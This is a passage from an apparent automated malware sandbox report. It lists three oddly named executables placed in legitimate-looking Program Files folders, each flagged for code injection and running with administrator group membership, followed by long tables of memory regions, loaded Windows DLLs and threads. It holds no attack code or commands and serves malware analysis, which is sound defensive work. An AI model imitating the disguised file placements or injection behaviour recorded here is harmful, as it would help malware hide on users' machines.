"\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 197 os_tid = 0xe44 Thread: id = 198 os_tid = 0xe38 Thread: id = 385 os_tid = 0xce4 Process: id = "28" image_name = "behind-town.exe" filename = "c:\\program files (x86)\\windows media player\\behind-town.exe" page_root = "0x59dfb000" os_pid = "0xdd8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Media Player\\behind-town.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Media Player\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5639 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5640 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5641 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5642 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5643 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5644 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5645 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5646 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5647 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5648 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5649 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5650 start_va = 0x420000 end_va = 0x423fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 5651 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 5652 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 5653 start_va = 0x5c0000 end_va = 0x67dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5654 start_va = 0x780000 end_va = 0x907fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5655 start_va = 0x930000 end_va = 0x946fff monitored = 0 entry_point = 0x9314a1 region_type = mapped_file name = "behind-town.exe" filename = "\\Program Files (x86)\\Windows Media Player\\behind-town.exe" (normalized: "c:\\program files (x86)\\windows media player\\behind-town.exe") Region: id = 5656 start_va = 0x950000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 5657 start_va = 0xae0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 5658 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 5659 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 5660 start_va = 0x1fa0000 end_va = 0x205bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 5661 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5662 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5663 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5664 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5665 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5666 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5667 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5668 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5669 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5670 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5671 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5672 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5673 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5674 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5675 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5676 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5677 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5678 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5679 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5680 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5681 start_va = 0x7f940000 end_va = 0x7fa3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f940000" filename = "" Region: id = 5682 start_va = 0x7fa40000 end_va = 0x7fa62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fa40000" filename = "" Region: id = 5683 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5684 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5685 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5686 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5687 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5688 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5689 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5690 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5691 start_va = 0x680000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 5692 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5693 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5694 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5695 start_va = 0x1ee0000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 5696 start_va = 0x2060000 end_va = 0x2396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 199 os_tid = 0xdf0 Thread: id = 200 os_tid = 0xddc Thread: id = 392 os_tid = 0x58c Process: id = "29" image_name = "coreftp.exe" filename = "c:\\program files\\java\\coreftp.exe" page_root = "0x73f8a000" os_pid = "0xe64" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Java\\coreftp.exe\" " cur_dir = "C:\\Program Files\\Java\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5004 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5005 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5006 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5007 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5008 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5009 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5010 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5011 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5012 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5013 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5014 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 5015 start_va = 0x490000 end_va = 0x54dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5016 start_va = 0x700000 end_va = 0x703fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 5017 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5018 start_va = 0x720000 end_va = 0x723fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 5019 start_va = 0x780000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 5020 start_va = 0x880000 end_va = 0xa07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 5021 start_va = 0xa10000 end_va = 0xa26fff monitored = 0 entry_point = 0xa114a1 region_type = mapped_file name = "coreftp.exe" filename = "\\Program Files\\Java\\coreftp.exe" (normalized: "c:\\program files\\java\\coreftp.exe") Region: id = 5022 start_va = 0xa30000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 5023 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 5024 start_va = 0x1fc0000 end_va = 0x207bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fc0000" filename = "" Region: id = 5025 start_va = 0x2080000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 5026 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5027 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5028 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5029 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5030 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5031 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5032 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5033 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5034 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5035 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5036 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5037 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5038 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5039 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5040 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5041 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5042 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5043 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5044 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5045 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5046 start_va = 0x7e620000 end_va = 0x7e71ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e620000" filename = "" Region: id = 5047 start_va = 0x7e720000 end_va = 0x7e742fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e720000" filename = "" Region: id = 5048 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5049 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5050 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5051 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5158 start_va = 0x730000 end_va = 0x733fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5159 start_va = 0x740000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 5160 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5161 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5162 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 5163 start_va = 0x750000 end_va = 0x750fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 5164 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5165 start_va = 0x760000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 5166 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 5167 start_va = 0x2110000 end_va = 0x2446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 201 os_tid = 0xe74 Thread: id = 202 os_tid = 0xe68 Thread: id = 382 os_tid = 0xd40 Process: id = "30" image_name = "barca.exe" filename = "c:\\program files\\uninstall information\\barca.exe" page_root = "0x69376000" os_pid = "0xe4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Uninstall Information\\barca.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5100 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5101 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5102 start_va = 0x30000 end_va = 0x46fff monitored = 0 entry_point = 0x314a1 region_type = mapped_file name = "barca.exe" filename = "\\Program Files\\Uninstall Information\\barca.exe" (normalized: "c:\\program files\\uninstall information\\barca.exe") Region: id = 5103 start_va = 0x50000 end_va = 0x64fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5104 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5105 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5106 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5107 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 5108 start_va = 0x1d0000 end_va = 0x1d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5109 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5110 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5111 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5112 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5113 start_va = 0x510000 end_va = 0x513fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 5114 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5115 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 5116 start_va = 0x740000 end_va = 0x8c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 5117 start_va = 0x8d0000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 5118 start_va = 0xa60000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 5119 start_va = 0x1ed0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 5120 start_va = 0x1ee0000 end_va = 0x1f9bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 